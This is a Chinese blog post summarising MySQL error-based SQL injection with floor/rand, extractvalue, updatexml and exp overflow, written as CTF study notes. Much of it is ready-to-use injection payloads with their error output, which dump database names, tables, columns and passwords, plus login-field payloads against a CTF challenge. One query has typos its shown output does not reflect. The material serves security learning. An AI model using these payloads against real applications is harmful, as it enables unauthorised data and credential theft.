MySQL 报错注入总结

MySQL 报错注入(Error Based Injection)总结

前言

利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。

而MySQL的报错方式很多,以前就接触到很多,最近也是做了一些关于这方面CTF的题目,学习到很多之前遗漏的姿势,故总结一下,以免遗忘。

报错注入(Error based Injection)

MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:

  • BigInt等数据类型溢出
  • xpath语法错误
  • count()+rand()+group_by()导致逐渐重复
  • 空间数据类型函数错误

很多函数会导致MySQL报错并显示出数据。

  • floor()
  • extractvalue()
  • updatexml()
  • exp()

MySQL 测试数据

user.sql

CREATE TABLE IF NOT EXISTS `user` (
`id` int(10) NOT NULL,
`Username` varchar(20) NOT NULL,
`Age` int(10) NOT NULL,
`Password` varchar(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `user` (`id`, `Username`, `Age`, `Password`) VALUES
(1, 'olivia', 18, 'slimslim'),
(2, 'qingchen', 18, 'meimima123'),
(3, 'hack', 1, 'love_pwn'),
(4, 'someome', 3, 'p@55w0rd');

floor()

注入语句

mysql> select * from user where id=1 and (select 1 from (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x from user group by x)a);

简化为:
mysql> SELECT COUNT(*) FROM user GROUP BY FLOOR(RAND(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
  • floor:函数只返回整数部分,小数部分舍弃。
  • round:函数四舍五入,大于0.5的部分进位,不到则舍弃。

**
语句拆分**

(select 1 from a) //在a上做派生表
b=select count(*),x from user group by x //从user里面选取那么的内容和计数的内容
name=concat((查询内容),floor(rand(0)*2)) //把查询内容和随机取整数 连接在一起

报错原理

目前比较常见的几种报错注入的方法都是利用了mysql某些不能称为bug的bug来实现的。

下面就以 rand() 函数来进行说明。mysql的官方文档中对 rand() 函数有特殊的说明:

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:

官方文档中的意思是:在where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。

因此在mysql中,可以构造一个值不确定而有可重复的字段作为group by的条件字段,这是就可以报出类似于Duplicate entry '…' for key 'group_key'的错误。

另外,经过测试
rand()会随机报错,就是有可能报错,有的时候不会,
rand(0)肯定会报错,rand(1)则一定不会报错。
所以要让他报错的话直接用rand(0)

测试

mysql> select * from user where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from user group by x)a);
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key '<group_key>'

mysql> select * from user where id=1 and (select 1 from (select count(*),concat(database(),'|',floor(rand(0)*2))x from user group by x)a);
ERROR 1062 (23000): Duplicate entry 'test|1' for key '<group_key>'

mysql> select * from user where id=1 and (select 1 from (select count(*),concat(table_name,floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'global_status0' for key '<group_key>'

关于更多该语句报错原理的内容,可以参考这篇大佬的文章

extractvalue()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

报错原理

EXTRACTVALUE (XML_document, XPath_string);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串).
  • 作用:从目标XML中返回包含所查询值的字符串

第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

测试

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~test~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test'),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~user~'

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select group_concat(comlumn_name) from information_schema.columns where table_schema='test' and table_name='user'),00x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~id,Username,Age,Password~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select concat(id,'|',Username,'|',Password) from user where id=1),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~1|olivia|slimslim~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~slimslim,meimima123,love_pwn,p@'

值得注意的是,extractvalue()报错长度是有限制的,最长32位。(从最后一句测试,也可以看出)

updatexml()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句

select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

报错原理

UPDATEXML (XML_document, XPath_string, new_value);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

其实原理和extractvalue()是一样的,利用Xpath格式字符串不符合要求达到报错的效果,但是不一样的是,updatexml()有3个参数,要注意这一点。

测试

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~test~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test'),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~user~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='user'),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~id,Username,Age,Password~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select concat(id,'|',Username,'|',Password) from user where id=1),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~1|olivia|slimslim~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~slimslim,meimima123,love_pwn,p@'

值得注意的是,updatexml()和extractvalue()一样,报错长度是有限制的,最长32位。(从最后一句测试,也可以看出)

exp()

在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。

利用exp函数也产生类似的溢出错误

注入语句

mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

注意,exp()产生错误,但是并没有爆出database(),但是发现database() 是表达式,在脚本语言中会转化为相应的值,从而爆出数据库名。

报错原理

exp是以e为底的指数函数,但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串,从而爆出数据。

测试

由于exp()报错的表达式在脚本语言中才会转化为相应的值,下面用实验吧上一道题目来演示说明exp()报错注入。

username=&password=' or  exp(~(select * from(select database())x)) or' 
DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema <> database()))a)) or '
DOUBLE value is out of range in 'exp(~((select 'ffll44jj,users' from dual)))'

username=&password=' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a)) or '
DOUBLE value is out of range in 'exp(~((select 'value' from dual)))'

username=&password=' or exp(~(select * from(select value from ffll44jj)z)) or '
DOUBLE value is out of range in 'exp(~((select 'flag{err0r_b4sed_sqli_+_hpf}' from dual)))'

参考链接

  1. 几种常见的 MySQL 报错注入
  2. MySQL Error Based SQL Injection (报错注入)总结
文章作者: V0WKeep3r
文章链接: http://v0w.top/2018/08/03/MySQL 报错注入/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏